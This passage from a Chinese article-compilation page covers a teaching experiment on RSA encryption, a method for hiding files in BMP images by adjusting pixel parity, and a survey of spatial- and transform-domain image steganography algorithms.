RSA算法是由R.Rivset、A.Shamir和L.Adleman三位教授于1978年在美國麻省理工學院研制出來的一種公鑰密碼系統(tǒng)。公鑰密碼算法使用不同的密鑰進行加解密運算,通信雙方各有一對密鑰:公鑰和私鑰。在秘密通信的過程中,如果A向B發(fā)送信息,A應(yīng)當用B的公鑰加密信息,B在收到信息后使用自己的私鑰解密信息。反之,當B向A發(fā)送信息,B應(yīng)當用A的公鑰加密信息,A在收到信息后使用自己的私鑰解密信息。

RSA算法的安全性是建立在“大數(shù)分解和素數(shù)檢測”著名數(shù)論難題的基礎(chǔ)上,即:將兩個大素數(shù)相乘在計算上很容易實現(xiàn),但將該乘積分解為兩個大素數(shù)因子的計算量是相當巨大的,以至于在實際計算中是不能實現(xiàn)的。

三、實驗實施方案

(一)RSA加密解密系統(tǒng)實現(xiàn)

為了透徹理解RSA算法中加密和解密過程并設(shè)計出RSA加解密系統(tǒng),本實驗采用一種簡單直觀的方法來實現(xiàn)。在一些對加密要求不很嚴格的實際環(huán)境中,如果計算精度允許,可以采用擴充素數(shù)表來實現(xiàn)系統(tǒng)對數(shù)據(jù)的加密和解密,但同時也應(yīng)該注意密鑰對的選取,關(guān)鍵是在計算過程中一定使明文分組M小于模n。根據(jù)上述分析可總結(jié)出實現(xiàn)本系統(tǒng)的步驟如下:

1.建立等長的素數(shù)表,并將素數(shù)賦值給數(shù)組a[i]和a[j];

2.求兩兩乘積并將其打印出來,即得a[i]×a[j]=a[i][j];

3.從素數(shù)乘積表中隨機選取一個公共模n、公鑰pk并將其公開,同時也隨機生成私鑰sk;

4.利用隨機生成的公鑰pk對明文信息加密為C;

5.利用私鑰sk解密得明文M。

在高級語言中,把文件可看做獨立字符(字節(jié))組成的序列,即是由一個一個字符(字節(jié))按順序組成,根據(jù)數(shù)據(jù)的組織形式可分為ASCII文件和二進制文件。二進制文件是把內(nèi)存中的數(shù)據(jù)按其在內(nèi)存中的形式輸出到磁盤上存放。為了加快加密和解密的速度,這里采用二進制方式打開信息明文、密文及解密后的明文。定義加密函數(shù)encryption(char*plaintext,char*ciphertext,unsigned long int pk,unsigned long int modulen),解密函數(shù)decryption(char*ciphertext,char*plaintext,unsigned long int sk,unsigned long int modulen)。在這兩個函數(shù)實現(xiàn)過程中,用到的密鑰是通過等長素數(shù)表取得,而且都調(diào)用了同一個子程序求大數(shù)冪模的函數(shù)commod(),該函數(shù)主要是對大指數(shù)求模問題進行分析。

(二)實驗內(nèi)容和要求

本實驗注重RSA加解密系統(tǒng)實現(xiàn),并提出具體實驗內(nèi)容和要求。學生能夠調(diào)試通過RSA加解密軟件;并利用RSA對某一數(shù)據(jù)文件進行單次加密和解密操作;設(shè)計出的系統(tǒng)要能夠提供大素數(shù)生成功能,可以導出素數(shù),也可以從文件中導入素數(shù),也可以產(chǎn)生一個指定長度的隨機大素數(shù)。另外要求學生能夠提交實驗報告、并現(xiàn)場演示和說明。

以明文“RSA算法的安全性依賴于大數(shù)分解”為例,假設(shè)存儲這句話的文件在E盤,且設(shè)明文文件名為mingw.doc,以密鑰對(pk,n)=(17,2773),(sk,n)=(157,2773)為例對其進行加密和解密,生成密文文件名設(shè)為miw.doc。

本文是以信息隱藏技術(shù)中典型的公鑰密碼算法RSA為例進行實驗教學探究,期望在數(shù)據(jù)加密解密、數(shù)字水印、閥下通道等信息隱藏技術(shù)的實驗教學上有進一步的實踐探索。

篇(9)

1 介紹

隨著計算機技術(shù)和Internet的迅速發(fā)展與應(yīng)用,計算機越來越應(yīng)用到了人們生活的方方面面中,又由于計算機在通訊方面突出表現(xiàn),使其在各種信息交換、傳遞的領(lǐng)域更是獨樹一幟。事有兩面,在計算機進行快速信息交換的同時也帶來了一定的安全性問題,對于一些高度機密的文檔信息,就不能用普通的方法(如普通的U盤拷貝、發(fā)送電子郵件)進行交換和傳遞了。這樣如何將機密文檔信息在安全的情況下用現(xiàn)代的信息傳遞手段進行快速傳遞成為現(xiàn)在的一個新的研究課題。

信息隱藏技術(shù)的文檔信息傳輸是這個課題的核心,它是將機密文檔處理后隱藏到普通的BMP圖片中,把隱藏有信息的圖片通過計算機發(fā)送到接收方,接收方再解釋出隱藏文檔的方法。這種方法不同于單獨發(fā)送加密文件的優(yōu)點在于,不容易引起攻擊者的注意。因為中間信息是類同于普通的BMP圖片。這種方法的要求有兩點:

隱藏信息后的彩色BMP圖像與原始圖像相比,在人的視覺上沒有什么區(qū)別;

隱藏信息后的彩色BMP圖像與原始圖像相比,大小上沒有多大變化;

2 BMP位圖說明

BMP圖像文件格式,是微軟公司為其WINDOWS環(huán)境設(shè)置的標準圖像格式,在Windows系統(tǒng)軟件中包含了一系列支持BMP圖像處理的API函數(shù)。隨著WINDOWS操作系統(tǒng)在世界范圍內(nèi)的普及, BMP文件格式越來越多地被各種應(yīng)用軟件所支持。

BMP圖像文件是位圖文件,位圖表示的是將一幅圖像分割成一個個很小的柵格,每個柵格縮小為一個點稱為像素,每一個像素具有自已的數(shù)值,即一幅圖像是由一系列像素點構(gòu)成的點陣。BMP中按第個像素數(shù)值(像素位值)的取值范圍可以分為1位、4位、8位、24位圖片。像素位值的大小體現(xiàn)了圖片彩色質(zhì)量的好壞,同時也決定了圖片保存時占用空間的多少。①1位圖片就是指黑白圖片,圖片中每一由黑白兩種顏色組成,它是占用空間最少的位圖,同時是圖片質(zhì)量最差的;②4位圖片是16色的彩色圖片,圖片中每個像素位的范圍為0到15,帶有彩色,但彩色質(zhì)量很差,占用空間??;③8位圖片是256色的彩色圖片,圖片中每個像素位的范圍為0到255,彩色質(zhì)量相對好,占用空間大;④24位圖片就是所說的真彩色的彩色圖片,圖片中每個像素位由三個字節(jié)組成,彩色質(zhì)量相對好,占用空間最大;

這里討論的主要是對24位真彩色圖片的處理。

3 信息處理的原理

3.1 信息隱藏

信息隱藏就是將文檔信息隱藏在真彩色BMP圖片中,其流程如圖1所示:

圖2中,每一個點表示位圖中的一個像素,每一個像素的值范圍在0到16777215間。在隱藏信息時每一個像素的奇偶性作為隱藏數(shù)據(jù)的依據(jù)。如果此像素的值為偶數(shù)表示數(shù)據(jù)為0,如果此像素的值為奇數(shù)時表示數(shù)據(jù)為1,用0和1的不同排列組全表示各種數(shù)據(jù)。而這種表示方式正好與各種磁盤保存數(shù)據(jù)的方式相同(磁盤中的數(shù)據(jù)也是以0和1的方式 :二進制方式保存的)。這樣從磁盤中讀取出文檔的內(nèi)容,使位圖中各個像素的奇偶性和文檔內(nèi)容的奇偶性對應(yīng),就在位圖中隱藏了信息這個過程叫位圖像素調(diào)制。其中的對應(yīng)規(guī)則復雜程度是有效防止隱藏的信息被非法解讀出的難易程度的體現(xiàn)。對應(yīng)規(guī)則越復雜越難被非法解讀出來。

再對位圖中每行中隱藏的數(shù)據(jù)進行位異或和CRC_32校驗,可以有效的驗證解讀出數(shù)據(jù)的有效性和正確性。信息隱藏過程舉例:BMP位圖第一行前8個像素的值為:13075297, 13075297, 13075297,13074781,13404000,13206622,13272413,13206620,要隱藏的數(shù)據(jù)為01010101,ASC碼值為85。將像素值的奇偶性與數(shù)據(jù)比較后要作如下的調(diào)制:

第一個像素:13075297隱藏信息0,要調(diào)整為偶數(shù)13075298;

第二個像素:13075297隱藏信息1,不變;

第三個像素:13075297隱藏信息0,要調(diào)整為偶數(shù)13075298;

第四個像素:13074781隱藏信息1,不變;

第五個像素:13404000隱藏信息0,不變;

第六個像素:13206622隱藏信息1,要調(diào)整為奇數(shù)13206623;

第七個像素:13272413隱藏信息0,要調(diào)整為偶數(shù)13272414;

第八個像素:13206620隱藏信息1,要調(diào)整為奇數(shù)13206621;

經(jīng)過這樣的調(diào)制,此BMP位圖第一行前8個像素的奇偶性便與85轉(zhuǎn)化的8位二進制數(shù)完全相同,這樣,8個像素就隱藏了一個字節(jié)的信息。

綜上所述,將信息隱藏入BMP位圖中的步驟為:

讀取文件的二進制內(nèi)容;

將位圖每個像素的奇偶性與二進制數(shù)據(jù)進行比較;

通過調(diào)節(jié)每個像素的奇偶性便之與文件的二進制內(nèi)容一致,就將信息隱藏到BMP位圖中了;

3.2 信息解讀

信息解讀就是從隱藏有信息的BMP位圖中解讀出隱藏的信息,是信息隱藏的逆過程,其流程如圖三所示:

信息解讀過程如下:

判斷BMP位圖中每個像素值的奇偶性,若為偶數(shù),則輸出“0”;若為奇數(shù),則輸出“1”;

每8個像素輸出8個0和1組成的二進制數(shù)據(jù),轉(zhuǎn)換為一個字節(jié);

經(jīng)過對所有像素處理,得到一系列的二進制數(shù)據(jù),保存成文件,就是隱藏的信息。

本次實驗結(jié)果如圖4、圖5所示。

5 總結(jié)

(1)由于原始24位BMP圖像文件隱藏信息后,其像素位數(shù)值最多變化1(因為是像素位值加“1”或減“1”),該像素位代表的顏色最多只變化了1/16777216,所以,已隱藏信息的BMP圖像與未隱藏信息的BMP圖像,用肉眼是看不出差別的;

(2)由于此法只修改出BMP位圖中每個像素的值,而沒有改變像素的數(shù)量,所有在保存圖片時的大小沒有改變,所有隱藏了文檔信息后位圖的大小沒有改變;

(3)使用這種方法,隱藏的文檔信息是直接讀取的文件,所以對文件格式?jīng)]有限制,可以是TXT文件、WORD文件等。

篇(10)

中圖分類號:TP391 文獻標識碼:A文章編號:1007-9599 (2011) 16-0000-02

Information Hiding Technology Research Based on Digital Image

Si Yingshuo,Yang Wentao,Zhang Sen

(Zhengzhou Institute of Aeronautical Industry Management,Zhengzhou450046,China)

Abstract:Security of information transmission is becoming more and more important along with the development of media digitized and network technology.In this paper,we mainly studied the information hiding technology based on digital images,and analyzed the advantages and disadvantages of spatial domain hiding algorithm and transform domain hiding algorithm.

Keywords:Digital Image;Information hiding;Spatial domain;Transform domain

一、信息隱藏的基本原理

信息隱藏技術(shù)通常使用文字、圖像、聲音及視頻等作為載體,信息之所以能夠隱藏在多媒體數(shù)據(jù)中,主要是利用了多媒體信息的時間或空間冗余性和人對信息變化的掩蔽效應(yīng)。

(一)多媒體信息本身存在很大的冗余性,從信息論的角度看,未壓縮的多媒體信息的編碼效率是很低的,所以將某些信息嵌入到多媒體信息中進行秘密傳送是完全可行的,并不會影響多媒體信息本身的傳送和使用。(二)人的視覺或聽覺感官系統(tǒng)對某些信息都有一定的掩蔽效應(yīng)。在亮度有變化的邊緣上,該邊界“掩蔽”了邊緣鄰近像素的信號感覺,使人的感覺變得不靈敏、不準確,這就是視覺掩蔽效應(yīng)[2]。通常人眼對灰度的分辨率只有幾十個灰度級,對邊緣附近的信息不敏感。利用這些特點,可以很好地將信息隱藏而不被覺察。

隨著多媒體技術(shù)的迅速發(fā)展,圖像成為信息表達的主要方式,數(shù)字圖像大量存在,因而被研究最多的是圖像中的信息隱藏,而且,圖像信息隱藏所研究的方法往往經(jīng)過改進可以輕易地移植到其他的載體中[1],是研究其他載體的隱藏算法的基礎(chǔ)。因此,對基于數(shù)字圖像的信息隱藏技術(shù)的研究成為了當前信息隱藏領(lǐng)域的一個研究熱點。

二、基于數(shù)字圖像的信息隱藏基礎(chǔ)知識

(一)數(shù)字圖像的概念。隨著數(shù)字技術(shù)的不斷發(fā)展和應(yīng)用,許多信息都可以用數(shù)字形式進行處理和存儲,數(shù)字圖像就是以數(shù)字形式進行存儲和處理的圖像。數(shù)字圖像可看作是平面區(qū)域上的二元函數(shù)Z=F(x,y),(x,y)∈R。在絕大多數(shù)情況下區(qū)域R是一個矩形。對R中任意的點(x,y),則F(x,y)代表圖像的信息(如灰度值,RGB分量值等)。表示圖像的二元函數(shù)有其特殊性,這就是相關(guān)性。在圖像被數(shù)字化之后,Z=F(x,y)則相應(yīng)于一個矩陣,其元素所在的行與列對應(yīng)于自變量取值,元素本身代表圖像信息。(二)數(shù)字圖像信息隱藏模型。圖像信息隱藏通過將秘密信息做適當?shù)念A處理后,利用合理的嵌入機制將信息隱藏在可公開的圖像媒體信息中,達到傳遞秘密信息的目的,即信息隱藏將“正在通信”的事實隱蔽起來,從而逃過攔截者的破解。信息隱藏必然會引起載體圖像一定的失真,如果失真過大就會被視覺感知,因此不可見性或者說不可感知性是衡量信息隱藏技術(shù)的重要標準。

圖像信息隱藏將秘密信息隱藏或變換成另一非機密性的圖像文件中,使得加入秘密信息的目標圖像看起來難以察覺到有變化,這種隱藏的可能性除了來自于人眼視覺的掩蔽特性外,還有一個原因就是圖像數(shù)據(jù)的數(shù)據(jù)冗余。圖像數(shù)據(jù)中存在很多與有用信息無關(guān)的數(shù)據(jù),即所謂的數(shù)據(jù)冗余,如果能夠有效地利用這些冗余數(shù)據(jù)嵌入信息,就能達到很好的隱藏效果,圖像信息隱藏的一般模型如圖1所示:

圖1:圖像信息隱藏的一般模型

三、基于數(shù)字圖像的信息隱藏算法

根據(jù)秘密信息嵌入域的不同,圖像信息隱藏算法主要分為兩大類:空域信息隱藏算法和變換域信息隱藏算法,二者在數(shù)據(jù)的嵌入原理上有根本的區(qū)別[3]?;诳沼虻男畔㈦[藏算法通過直接改變圖像某些像素的值來嵌入信息,具有較大的容量和較好的不可見性,但是安全性不高;基于變換域的信息隱藏算法通過改變某些圖像變換域的系數(shù)來嵌入信息,變換域的方法在近來以至今后,都是信息隱藏算法的主流。

(一)空域信息隱藏技術(shù)。空域隱藏技術(shù)是指將秘密信息嵌入數(shù)字圖像的空間域中,即對像素灰度值進行修改以隱藏秘密信息。

1.LSB算法。最低有效位(Least Significant Bits,LSB)方法是最早提出來的最基本的空域圖像信息隱藏算法,許多其它的空域算法都是從它的基本原理進行改進擴展的,使得LSB方法成為使用最為廣泛的隱藏技術(shù)之一。其原理是最不重要數(shù)據(jù)的調(diào)整對載體圖像的影響很小,在視覺上無法察覺。LSB算法中,載體圖像的LSB平面先被置0,然后根據(jù)要嵌入的秘密數(shù)據(jù)修改為“1”或不變,直至嵌入完成。嵌入數(shù)據(jù)后,載體圖像部分像素的最低一個或多個位平面的數(shù)值被秘密信息所替換。

LSB算法每個像素點可以隱藏一比特、兩比特甚至三比特的信息,達到了一個較大的隱藏容量及較好的不可見性,隨機間隔法選擇嵌入位置提高了算法的秘密性,這些特點為信息隱藏算法的研究提供了一定的參考。但是,LSB算法魯棒性較差,給應(yīng)用帶來了一定的限制。

2.Patchwork算法。另一種空域信息隱藏算法是Bender等提出的直接擴頻隱藏算法Patchwork。擴頻算法為圖像像素添加噪聲,并且不需要改變噪聲的統(tǒng)計特征就可以在每個噪聲成分中隱藏一個比特。算法步驟如下:(1)用一個密鑰K初始化一個偽隨機數(shù)發(fā)生器;(2)根據(jù)隨機數(shù)發(fā)生器的輸出,隨機選取n個像素對,其灰度值表示為(ai,bi);(3)令 ,完成信息嵌入。檢測時,假設(shè)檢驗被用來證實秘密信息的存在。令(2.1)

如果 ,判定秘密信息存在。

Patchwork的檢測方法基于如下統(tǒng)計假設(shè):圖像中隨機選取的像素,其灰度值是獨立同分布的。如果在一副圖像中隨機選取像素對,則統(tǒng)計量S的期望值為

(2.2)

對于已知位置的像素對,S≈2n。

Patchwork算法改進了LSB算法改變圖像統(tǒng)計特性的不足,但是隱藏容量較小,容易受到各種綜合攻擊的影響,只能應(yīng)用在某些需要嵌入少量信息的場合。為了增加算法的魯棒性,一種改進的方法是將圖像分塊后,再嵌入秘密信息,算法的魯棒性和不可見性都會增加。

總的來說,空域信息隱藏算法具有較好的不可見性和較高的隱藏容量,計算速度快,但魯棒性較差,對于載體圖像的壓縮、噪聲擾動等攻擊的抵抗力較弱,很多研究更傾向于基于變換域的信息隱藏算法。

(二)變換域信息隱藏技術(shù)

變換域隱藏技術(shù)就是指將秘密信息嵌入數(shù)字圖像的某一變換域中。比較常用的是離散傅立葉變換(DFT)、離散余弦變換(DCT)和離散小波變換(DWT)等,它們主要是通過修改載體圖像某些指定的頻域系數(shù)來嵌入數(shù)據(jù)。其基本思想是利用擴頻通信原理來提高隱藏系統(tǒng)的魯棒性??紤]到對低頻區(qū)域系數(shù)的改動可能會影響到載體圖像的感知效果,而高頻系數(shù)又易被破壞,因此,信息隱藏技術(shù)一般選取載體圖像中頻區(qū)域上的系數(shù)來嵌入秘密數(shù)據(jù),從而使之既滿足不可感知性,又滿足對諸如失真壓縮等操作的魯棒性。

1.基于DFT的數(shù)字圖像隱藏算法?;贒FT的數(shù)字圖像隱藏算法將圖像分割成多個感覺頻段,然后選擇合適部分來嵌入秘密信息。文獻[4]提出基于原始圖像的傅立葉變換,將調(diào)制后的秘密信息依次加入到某些固定位置的幅值譜上,文獻[5]利用傅里葉變換的可加性和圖象去噪原理提出了一種基于頻域的三維運動盲水印算法。傅里葉變換具有一些變換無關(guān)的完整特性。例如:空間域的平移只引起頻域上的相移,而幅度不變;空間域尺度的縮放會引起頻域尺度反向的縮放;空間域旋轉(zhuǎn)的角度和所引起的頻域的旋轉(zhuǎn)的角度是一致的。這些特點可以抵御諸如旋轉(zhuǎn)、尺度、平移等幾何攻擊。2.基于DCT的數(shù)字圖像隱藏算法?;贒CT域的圖像信息隱藏算法的一般步驟為,首先對載體圖像分塊進行二維DCT變換,然后用秘密信息對DCT系數(shù)進行調(diào)制,最后對新的系數(shù)作離散余弦反變換(IDCT),即可得到隱藏圖像,完成信息隱藏過程?;贒CT的信息隱藏算法因其具有較強的魯棒性,計算量較小,且與國際圖像壓縮標準(JPEG,MPEG,H.263,H,264等)相兼容(這些標準中均采用DCT變換),因而具有諸多的潛在優(yōu)勢,成為近年來研究最多的一種信息隱藏技術(shù)

3.基于DWT的數(shù)字圖像隱藏算法?;贒WT域的圖像信息隱藏算法的一般步驟為,首先對載體圖像進行多級離散小波變換,得到不同分辨率下的細節(jié)子圖和逼近子圖,然后用秘密信息對DWT系數(shù)進行調(diào)制,最后對嵌入秘密信息后的小波系數(shù)進行相應(yīng)級別的離散小波逆變換,完成信息隱藏過程。利用小波變換把原始圖像分解成多頻段的圖像,能適應(yīng)人眼的視覺特性且使得信息的嵌入和檢測可分多個層次進行,小波變換域信息隱藏方法兼具時空域和DCT變換域方法的優(yōu)點。因此,基于離散小波變換的信息隱藏算法已經(jīng)成為當前研究的熱點和最重要的研究方向。目前,常見的幾類小波變換域信息隱藏嵌入算法有:非自適應(yīng)加性和乘性嵌入方式、基于量化的嵌入方式,基于自適應(yīng)嵌入方式、基于多分辨率嵌入方式。此外,還有基于替換的嵌入方式,基于樹結(jié)構(gòu)的嵌入方式等等。

由于變換域信息隱藏技術(shù)是在頻域嵌入信息,因此它有頻域所固有的抗攻擊和變換的能力,使這一隱藏方案對比例變化、JPEG壓縮、抖動、剪輯、打印/掃描以及合謀攻擊都具有很好的魯棒性。它的優(yōu)點體現(xiàn)在以下幾點:(1)在變換域中嵌入的信號能量可以分布到空間域的所有像素上,有利于保證秘密信息的不可見性;(2)在變換域中,人類視覺系統(tǒng)的某些特性(如頻率掩蔽效應(yīng))可以更方便的結(jié)合到秘密信息編碼過程中,提高算法的魯棒性;(3)交換域方法與大多數(shù)國際數(shù)據(jù)壓縮標準兼容,從而可以直接實現(xiàn)壓縮域內(nèi)的隱藏算法,提高效率,同時,也能抵抗相應(yīng)的有損壓縮。

四、結(jié)束語

信息隱藏在信息安全、電子商務(wù)、軍事、醫(yī)療系統(tǒng)、國家情報等方面有著非常重要的意義,正是由于它廣泛的應(yīng)用和重要的地位,使信息隱藏的研究成為科學研究的熱點之一。

基于圖像的信息隱藏技術(shù)具有載體數(shù)字圖像的一些自身特點,同時具備信息隱藏技術(shù)的共性,以圖像為載體的信息隱藏技術(shù)是信息隱藏研究的一個重要分支。本文主要介紹以數(shù)字圖像為載體的信息隱藏技術(shù),主要以信息隱藏算法的一般流程為依據(jù),闡述了信息隱藏的基本概念,歸納了信息隱藏的一般模型、基本方法,并分析、總結(jié)了該領(lǐng)域的常見經(jīng)典算法,為下一步的深入研究奠定了堅實的基礎(chǔ)。

參考文獻:

[1]徐獻靈.基于數(shù)字圖像的信息隱藏技術(shù)及其應(yīng)用[D].中山大學碩士畢業(yè)論文,2007

[2]黃愛民,安向京,駱力.數(shù)字圖像處理與分析基礎(chǔ)[M].北京:中國水利水電出版社,2005

[3]王麗娜,張煥國,葉登攀.信息隱藏技術(shù)與應(yīng)用(第二版)[M].武昌:武漢大學出版社,2009

上一篇: 十歲成長禮家長寄語 下一篇: 專賣店工作經(jīng)驗總結(jié)
相關(guān)精選
相關(guān)期刊